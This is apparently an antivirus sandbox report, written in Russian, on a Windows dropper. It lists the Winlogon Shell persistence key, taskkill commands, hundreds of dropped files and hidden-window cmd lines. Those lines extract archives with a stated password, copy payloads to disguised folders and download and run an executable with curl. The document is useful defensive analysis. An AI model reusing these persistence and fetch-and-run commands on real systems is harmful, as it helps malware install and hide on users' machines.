Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,"%ALLUSERSPROFILE%\Panasonic\nnu.exe,%ALLUSERSPROFILE%\Adobe\udp.exe,%ALLUSERSPROFILE%\Sharp\onn.exe,%ALLU...
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /F /IM mme.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM nvidia.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM u-eng.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM mnn.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM lss.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM mmi.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM arm.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM onn.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM nnu.exe
- '%WINDIR%\syswow64\taskkill.exe' /F /IM nss.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ckz_2kdg\lib\audiodg.exe
- %TEMP%\ckz_2kdg\lib\unittest\runner.pyc
- %TEMP%\ckz_2kdg\lib\unittest\signals.pyc
- %TEMP%\ckz_2kdg\lib\unittest\suite.pyc
- %TEMP%\ckz_2kdg\lib\unittest\util.pyc
- %TEMP%\ckz_2kdg\lib\unittest\__init__.pyc
- %TEMP%\ckz_2kdg\lib\win32api.pyd
- %TEMP%\ckz_2kdg\lib\win32com\client\build.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\clsidtoclass.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\dynamic.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\gencache.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\genpy.pyc
- %TEMP%\ckz_2kdg\lib\unittest\loader.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\makepy.pyc
- %TEMP%\ckz_2kdg\lib\unittest\result.pyc
- %TEMP%\ckz_2kdg\lib\win32com\client\util.pyc
- %TEMP%\ckz_2kdg\lib\win32com\html\docindex.html
- %TEMP%\ckz_2kdg\lib\win32com\html\generatedsupport.html
- %TEMP%\ckz_2kdg\lib\win32com\html\image\blank.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\btn_homepage.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\btn_manualtop.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\btn_nextpage.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\btn_prevpage.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\pycom_blowing.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\pythoncom.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\image\www_icon.gif
- %TEMP%\ckz_2kdg\lib\win32com\html\index.html
- %TEMP%\ckz_2kdg\lib\win32com\client\selecttlb.pyc
- %TEMP%\ckz_2kdg\lib\win32com\html\misc.html
- %TEMP%\ckz_2kdg\lib\win32com\client\__init__.pyc
- %TEMP%\ckz_2kdg\lib\unittest\main.pyc
- %TEMP%\ckz_2kdg\lib\unittest\case.pyc
- %TEMP%\ckz_2kdg\lib\unicodedata.pyd
- %TEMP%\ckz_2kdg\lib\encodings\utf_16_le.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_32.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_32_be.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_32_le.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_7.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_8.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_8_sig.pyc
- %TEMP%\ckz_2kdg\lib\encodings\uu_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\zlib_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\__init__.pyc
- %TEMP%\ckz_2kdg\lib\engineid.dll
- %TEMP%\ckz_2kdg\lib\library.zip
- %TEMP%\ckz_2kdg\lib\encodings\utf_16.pyc
- %TEMP%\ckz_2kdg\lib\logging\__init__.pyc
- %TEMP%\ckz_2kdg\lib\pythoncom27.dll
- %TEMP%\ckz_2kdg\lib\pywin\default.cfg
- %TEMP%\ckz_2kdg\lib\pywin\dialogs\list.pyc
- %TEMP%\ckz_2kdg\lib\pywin\dialogs\status.pyc
- %TEMP%\ckz_2kdg\lib\pywin\dialogs\__init__.pyc
- %TEMP%\ckz_2kdg\lib\pywin\idle.cfg
- %TEMP%\ckz_2kdg\lib\pywin\mfc\dialog.pyc
- %TEMP%\ckz_2kdg\lib\pywin\mfc\object.pyc
- %TEMP%\ckz_2kdg\lib\pywin\mfc\thread.pyc
- %TEMP%\ckz_2kdg\lib\pywin\mfc\window.pyc
- %TEMP%\ckz_2kdg\lib\pywin\mfc\__init__.pyc
- %TEMP%\ckz_2kdg\lib\pywin\__init__.pyc
- %TEMP%\ckz_2kdg\lib\pywintypes27.dll
- %TEMP%\ckz_2kdg\lib\mfc90.dll
- %TEMP%\ckz_2kdg\lib\select.pyd
- %TEMP%\ckz_2kdg\lib\encodings\unicode_internal.pyc
- %TEMP%\ckz_2kdg\lib\encodings\utf_16_be.pyc
- %TEMP%\ckz_2kdg\lib\win32com\html\package.html
- %TEMP%\ckz_2kdg\lib\win32com\html\variant.html
- %ALLUSERSPROFILE%\panasonic\nnu.exe
- %TEMP%\data01\nvc.exe
- %ALLUSERSPROFILE%\adobe\udp.exe
- %ALLUSERSPROFILE%\adobe\lib\bz2.pyd
- %TEMP%\googletemp1\arm.exe
- %ALLUSERSPROFILE%\sharp\onn.exe
- %ALLUSERSPROFILE%\panasonic\ekc3220.dll
- %ALLUSERSPROFILE%\adobe\lib\distutils\command\wininst-6.0.exe
- %ALLUSERSPROFILE%\adobe\lib\distutils\command\wininst-7.1.exe
- %ALLUSERSPROFILE%\adobe\lib\distutils\command\wininst-8.0.exe
- %ALLUSERSPROFILE%\adobe\lib\distutils\command\wininst-9.0-amd64.exe
- %ALLUSERSPROFILE%\adobe\lib\distutils\command\wininst-9.0.exe
- %ALLUSERSPROFILE%\nokia\nvidia.exe
- %ALLUSERSPROFILE%\panasonic\omegle.rpg
- %ALLUSERSPROFILE%\adobe\lib\distutils\errors.pyc
- %TEMP%\googletemp1\lib\bz2.pyd
- %TEMP%\googletemp1\lib\ctypes\macholib\dyld.pyc
- %ALLUSERSPROFILE%\adobe\lib\distutils\log.pyc
- %TEMP%\googletemp1\lib\ctypes\macholib\dylib.pyc
- %ALLUSERSPROFILE%\adobe\lib\distutils\sysconfig.pyc
- %TEMP%\googletemp1\lib\ctypes\macholib\framework.pyc
- %TEMP%\googletemp1\lib\ctypes\macholib\__init__.pyc
- %ALLUSERSPROFILE%\adobe\lib\distutils\tests\setup.sample
- %TEMP%\googletemp1\lib\ctypes\util.pyc
- %TEMP%\googletemp1\lib\ctypes\_endian.pyc
- %ALLUSERSPROFILE%\adobe\lib\distutils\text_file.pyc
- %TEMP%\googletemp1\lib\ctypes\__init__.pyc
- %TEMP%\googletemp1\main.pmx
- %TEMP%\googletemp1\wsx.bat
- %TEMP%\ckz_2kdg\lib\data.exe
- %ALLUSERSPROFILE%\adobe\directx2.opx
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_4.pyc
- %TEMP%\ckz_2kdg\lib\win32com\include\pythoncom.h
- %TEMP%\ckz_2kdg\lib\win32com\include\pythoncomregister.h
- %TEMP%\ckz_2kdg\lib\win32com\include\pythoncomserver.h
- %TEMP%\ckz_2kdg\lib\win32com\libs\axscript.lib
- %TEMP%\ckz_2kdg\lib\win32com\libs\pythoncom.lib
- %TEMP%\ckz_2kdg\lib\win32com\license.txt
- %TEMP%\ckz_2kdg\lib\win32com\readme.htm
- %TEMP%\ckz_2kdg\lib\win32com\test\pippo.idl
- %TEMP%\ckz_2kdg\lib\win32com\test\readme.txt
- %TEMP%\ckz_2kdg\lib\win32com\test\testdictionary.vbs
- %TEMP%\ckz_2kdg\lib\win32com\test\testinterp.vbs
- %TEMP%\ckz_2kdg\lib\win32com\test\testpys.sct
- %TEMP%\ckz_2kdg\lib\win32com\test\testpyscriptlet.js
- %TEMP%\ckz_2kdg\lib\win32com\test\testxslt.js
- %TEMP%\ckz_2kdg\lib\win32com\test\testxslt.xsl
- %TEMP%\ckz_2kdg\lib\win32com\__init__.pyc
- %TEMP%\ckz_2kdg\lib\win32ui.pyd
- %TEMP%\ckz_2kdg\lib\_hashlib.pyd
- %TEMP%\ckz_2kdg\lib\_win32sysloader.pyd
- %TEMP%\ckz_2kdg\data.exe
- %TEMP%\ckz_2kdg\engineid.dll
- %TEMP%\gen_py\2.7\__init__.py
- %TEMP%\gen_py\2.7\dicts.dat
- %ALLUSERSPROFILE%\adobe\directx1.opx
- %APPDATA%\unoccvnb\ekc3220.dll
- %ALLUSERSPROFILE%\adobe\directx6.opx
- %ALLUSERSPROFILE%\adobe\directx3.opx
- %TEMP%\ckz_2kdg\lib\win32com\html\pythoncom.html
- %TEMP%\ckz_2kdg\lib\win32com\html\quickstartservercom.html
- %TEMP%\ckz_2kdg\lib\win32com\html\quickstartclientcom.html
- %TEMP%\ckz_2kdg\lib\encodings\unicode_escape.pyc
- %TEMP%\ckz_2kdg\lib\encodings\undefined.pyc
- %TEMP%\ckz_2kdg\lib\encodings\tis_620.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1251.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1252.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1253.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1254.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1255.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1256.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1257.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1258.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp424.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp437.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp500.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1026.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp720.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1250.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp775.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp852.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp855.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp856.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp857.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp858.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp860.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp861.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp862.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp863.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp864.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp865.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp737.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1006.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp850.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp037.pyc
- %TEMP%\ckz_2kdg\lib\encodings\charmap.pyc
- %TEMP%\ckz_2kdg\lib\bz2.pyd
- %TEMP%\ckz_2kdg\lib\data1
- %TEMP%\ckz_2kdg\lib\data10
- %TEMP%\ckz_2kdg\lib\data11
- %TEMP%\ckz_2kdg\lib\data12
- %TEMP%\ckz_2kdg\lib\data2
- %TEMP%\ckz_2kdg\lib\data3
- %TEMP%\ckz_2kdg\lib\data6
- %TEMP%\ckz_2kdg\lib\data7
- %TEMP%\ckz_2kdg\lib\data8
- %TEMP%\ckz_2kdg\lib\data9
- %TEMP%\ckz_2kdg\lib\distutils\command\wininst-6.0.exe
- %TEMP%\ckz_2kdg\lib\distutils\command\wininst-7.1.exe
- %TEMP%\ckz_2kdg\lib\distutils\command\wininst-8.0.exe
- %TEMP%\ckz_2kdg\lib\data0
- %TEMP%\ckz_2kdg\lib\distutils\command\wininst-9.0-amd64.exe
- %TEMP%\ckz_2kdg\lib\distutils\errors.pyc
- %TEMP%\ckz_2kdg\lib\distutils\log.pyc
- %TEMP%\ckz_2kdg\lib\distutils\sysconfig.pyc
- %TEMP%\ckz_2kdg\lib\distutils\tests\setup.sample
- %TEMP%\ckz_2kdg\lib\distutils\text_file.pyc
- %TEMP%\ckz_2kdg\lib\distutils\__init__.pyc
- %TEMP%\ckz_2kdg\lib\encodings\aliases.pyc
- %TEMP%\ckz_2kdg\lib\encodings\ascii.pyc
- %TEMP%\ckz_2kdg\lib\encodings\base64_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\big5.pyc
- %TEMP%\ckz_2kdg\lib\encodings\big5hkscs.pyc
- %TEMP%\ckz_2kdg\lib\encodings\bz2_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp866.pyc
- %TEMP%\ckz_2kdg\lib\distutils\command\wininst-9.0.exe
- %TEMP%\ckz_2kdg\lib\encodings\cp869.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp1140.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp874.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_7.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_9.pyc
- %TEMP%\ckz_2kdg\lib\encodings\johab.pyc
- %TEMP%\ckz_2kdg\lib\encodings\koi8_r.pyc
- %TEMP%\ckz_2kdg\lib\encodings\koi8_u.pyc
- %TEMP%\ckz_2kdg\lib\encodings\latin_1.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_arabic.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_centeuro.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_croatian.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_cyrillic.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_farsi.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_greek.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_iceland.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_latin2.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_roman.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_romanian.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mac_turkish.pyc
- %TEMP%\ckz_2kdg\lib\encodings\mbcs.pyc
- %TEMP%\ckz_2kdg\lib\encodings\palmos.pyc
- %TEMP%\ckz_2kdg\lib\encodings\ptcp154.pyc
- %TEMP%\ckz_2kdg\lib\encodings\punycode.pyc
- %TEMP%\ckz_2kdg\lib\encodings\quopri_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\raw_unicode_escape.pyc
- %TEMP%\ckz_2kdg\lib\encodings\rot_13.pyc
- %TEMP%\ckz_2kdg\lib\encodings\shift_jis.pyc
- %TEMP%\ckz_2kdg\lib\encodings\shift_jisx0213.pyc
- %TEMP%\ckz_2kdg\lib\encodings\shift_jis_2004.pyc
- %TEMP%\ckz_2kdg\lib\encodings\string_escape.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_6.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp875.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_8.pyc
- %ALLUSERSPROFILE%\adobe\directx7.opx
- %ALLUSERSPROFILE%\adobe\lib\distutils\__init__.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_3.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp949.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp950.pyc
- %TEMP%\ckz_2kdg\lib\encodings\euc_jisx0213.pyc
- %TEMP%\ckz_2kdg\lib\encodings\euc_jis_2004.pyc
- %TEMP%\ckz_2kdg\lib\encodings\euc_jp.pyc
- %TEMP%\ckz_2kdg\lib\encodings\euc_kr.pyc
- %TEMP%\ckz_2kdg\lib\encodings\gb18030.pyc
- %TEMP%\ckz_2kdg\lib\encodings\gb2312.pyc
- %TEMP%\ckz_2kdg\lib\encodings\gbk.pyc
- %TEMP%\ckz_2kdg\lib\encodings\hex_codec.pyc
- %TEMP%\ckz_2kdg\lib\encodings\hp_roman8.pyc
- %TEMP%\ckz_2kdg\lib\encodings\hz.pyc
- %TEMP%\ckz_2kdg\lib\encodings\idna.pyc
- %TEMP%\ckz_2kdg\lib\encodings\cp932.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp_2.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp_2004.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp_3.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp_ext.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_kr.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_1.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_10.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_11.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_13.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_14.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_15.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_16.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_2.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso2022_jp_1.pyc
- %TEMP%\ckz_2kdg\lib\encodings\iso8859_5.pyc
- %TEMP%\googletemp1\lib\distutils\command\wininst-6.0.exe
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\ckz_2kdg\data.exe'
- '%TEMP%\ckz_2kdg\lib\data.exe'
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data3. %ALLUSERSPROFILE%
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data7. %ALLUSERSPROFILE%
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data2. %ALLUSERSPROFILE%
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data1. "%TEMP%\"
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data6. %ALLUSERSPROFILE%
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data8. "%TEMP%\"
- '%ALLUSERSPROFILE%\adobe\udp.exe'
- '%TEMP%\ckz_2kdg\lib\audiodg.exe' x -o+ -p8ay73yG6s6gHu8H lib\data5. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c ""%USERPROFILE%\AppData\Local\Temp\Googletemp1\wsx.bat"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Adobe\udp.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Panasonic\nnu.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Sharp\onn.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Sun\Omg\dwm.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Epsonhp\mmi\mme.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data7 %ALLUSERSPROFILE%\Adobe\directx7.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data1 %ALLUSERSPROFILE%\Adobe\directx1.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data5 %ALLUSERSPROFILE%\Adobe\directx5.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data3 %ALLUSERSPROFILE%\Adobe\directx3.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data2 %ALLUSERSPROFILE%\Adobe\directx2.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nvidia.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data5. %ALLUSERSPROFILE%' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c md %ALLUSERSPROFILE%\Adobe\' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c md "%USERPROFILE%\AppData\Roaming\Unoccvnb\"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nss.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%USERPROFILE%\AppData\Local\Temp\Data01\nvc.exe"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data6. %ALLUSERSPROFILE%' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data7. %ALLUSERSPROFILE%' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM lss.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mmi.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM arm.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mme.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mnn.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nnu.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM onn.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data12 ""%USERPROFILE%\AppData\Roaming\Unoccvnb\Ekc3220.dll"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data8. "%USERPROFILE%\AppData\Local\Temp\"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data0 lib\data.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c cd lib\ && data.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data1. "%USERPROFILE%\AppData\Local\Temp\"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c curl --silent -L https://mirror.mangohost.net/videolan/vlc/3.0.17.4/win64/vlc-3.0.17.4-win64.exe -o %TEMP%\vlc-3.0.17.4-win64.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data6 %ALLUSERSPROFILE%\Adobe\directx6.opx' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data3. %ALLUSERSPROFILE%' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM u-eng.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data9 lib\audiodg.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data2. %ALLUSERSPROFILE%' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c md "%USERPROFILE%\AppData\Roaming\Unoccvnb\"
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data2. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data6. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data3. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data1. "%USERPROFILE%\AppData\Local\Temp\"
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data5. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data7. %ALLUSERSPROFILE%
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nvidia.exe
- '%WINDIR%\syswow64\cmd.exe' /c ""%USERPROFILE%\AppData\Local\Temp\Data01\nvc.exe"
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Panasonic\nnu.exe
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Sharp\onn.exe
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Sun\Omg\dwm.exe
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Epsonhp\mmi\mme.exe
- '%WINDIR%\syswow64\cmd.exe' /c ""%USERPROFILE%\AppData\Local\Temp\Googletemp1\wsx.bat"
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nss.exe
- '%WINDIR%\syswow64\cmd.exe' /c cd lib\ && data.exe
- '%WINDIR%\syswow64\cmd.exe' /c lib\audiodg.exe x -o+ -p8ay73yG6s6gHu8H lib\data8. "%USERPROFILE%\AppData\Local\Temp\"
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data0 lib\data.exe
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data9 lib\audiodg.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM u-eng.exe
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data12 ""%USERPROFILE%\AppData\Roaming\Unoccvnb\Ekc3220.dll"
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data1 %ALLUSERSPROFILE%\Adobe\directx1.opx
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data2 %ALLUSERSPROFILE%\Adobe\directx2.opx
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data3 %ALLUSERSPROFILE%\Adobe\directx3.opx
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data5 %ALLUSERSPROFILE%\Adobe\directx5.opx
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data6 %ALLUSERSPROFILE%\Adobe\directx6.opx
- '%WINDIR%\syswow64\cmd.exe' /c curl --silent -L https://mirror.mangohost.net/videolan/vlc/3.0.17.4/win64/vlc-3.0.17.4-win64.exe -o %TEMP%\vlc-3.0.17.4-win64.exe
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Adobe\udp.exe
- '%WINDIR%\syswow64\cmd.exe' /c copy /y lib\data7 %ALLUSERSPROFILE%\Adobe\directx7.opx
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM arm.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mme.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mnn.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM nnu.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM lss.exe
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM onn.exe
- '%WINDIR%\syswow64\cmd.exe' /c md %ALLUSERSPROFILE%\Adobe\
- '%WINDIR%\syswow64\cmd.exe' /c taskkill.exe /F /IM mmi.exe
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\vlc-3.0.17.4-win64.exe
